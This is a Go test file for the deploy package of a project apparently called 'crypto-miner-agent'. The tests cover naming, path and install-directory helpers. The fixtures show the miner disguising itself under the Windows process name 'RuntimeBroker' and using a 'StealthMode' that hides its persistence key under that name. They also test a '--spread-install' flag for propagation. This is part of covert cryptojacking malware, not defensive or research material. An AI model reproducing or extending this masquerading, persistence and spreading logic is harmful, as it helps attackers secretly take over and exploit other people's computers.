package deploy

import (
	"os"
	"path/filepath"
	"runtime"
	"strings"
	"testing"

	"crypto-miner-agent/config"
)

func testRuntimeConfig() config.RuntimeConfig {
	return config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
		WorkerName:          "worker-1",
		ProcessName:         "RuntimeBroker",
		InstallBase:         "temp",
		InstallRelativePath: config.DefaultInstallRelativePath,
		BuildID:             "build-1",
		ServerURL:           "https://hub.example",
	}}
}

func TestBinaryExt(t *testing.T) {
	ext := BinaryExt()
	if runtime.GOOS == "windows" {
		if ext != ".exe" {
			t.Fatalf("windows ext: %q", ext)
		}
	} else if ext != "" {
		t.Fatalf("non-windows ext: %q", ext)
	}
}

func TestBinaryName(t *testing.T) {
	cfg := testRuntimeConfig()
	name := BinaryName(cfg)
	if runtime.GOOS == "windows" {
		if name != "RuntimeBroker.exe" {
			t.Fatalf("got %q", name)
		}
	} else if name != "RuntimeBroker" {
		t.Fatalf("got %q", name)
	}
}

func TestSanitizeName(t *testing.T) {
	if sanitizeName("  foo/bar:baz*? ") != "foo-bar-baz" {
		t.Fatalf("got %q", sanitizeName("  foo/bar:baz*? "))
	}
	if sanitizeName("") != "" {
		t.Fatal("empty stays empty")
	}
}

func TestPersistenceKeyName(t *testing.T) {
	cfg := testRuntimeConfig()
	if got := PersistenceKeyName(cfg); got != "CryptoMiner-worker-1" {
		t.Fatalf("got %q", got)
	}
	cfg.StealthMode = true
	if got := PersistenceKeyName(cfg); got != "RuntimeBroker" {
		t.Fatalf("stealth: %q", got)
	}
	cfg.StealthMode = false
	cfg.WorkerName = ""
	if got := PersistenceKeyName(cfg); got != "RuntimeBroker" {
		t.Fatalf("empty worker: %q", got)
	}
}

func TestInstalledBinaryPath(t *testing.T) {
	cfg := testRuntimeConfig()
	path, err := InstalledBinaryPath(cfg)
	if err != nil {
		t.Fatal(err)
	}
	if !strings.HasSuffix(path, BinaryName(cfg)) {
		t.Fatalf("path %q should end with binary name", path)
	}
}

func TestSamePath(t *testing.T) {
	if !samePath("a/b", "a\\b") && runtime.GOOS != "windows" {
		// on unix clean may differ; test abs equality
		tmp := t.TempDir()
		a := filepath.Join(tmp, "x")
		b := filepath.Join(tmp, "x")
		if !samePath(a, b) {
			t.Fatal("identical paths")
		}
	}
}

func TestInstallDir(t *testing.T) {
	dir, err := InstallDir("w", "b1")
	if err != nil {
		t.Fatal(err)
	}
	if dir == "" {
		t.Fatal("empty install dir")
	}
}

func TestInstallBaseFallbacks(t *testing.T) {
	fb := installBaseFallbacks(testRuntimeConfig())
	if len(fb) == 0 {
		t.Fatal("expected fallbacks")
	}
}

func TestResolveInstallDirWithFallback(t *testing.T) {
	cfg := testRuntimeConfig()
	dir, err := resolveInstallDirWithFallback(cfg)
	if err != nil {
		t.Fatal(err)
	}
	if dir == "" {
		t.Fatal("empty dir")
	}
}

func TestWantsSpreadInstall(t *testing.T) {
	orig := os.Args
	t.Cleanup(func() { os.Args = orig })

	os.Args = []string{"agent"}
	if WantsSpreadInstall() {
		t.Fatal("expected false without flag")
	}

	os.Args = []string{"agent", "--spread-install"}
	if !WantsSpreadInstall() {
		t.Fatal("expected true with --spread-install")
	}
}
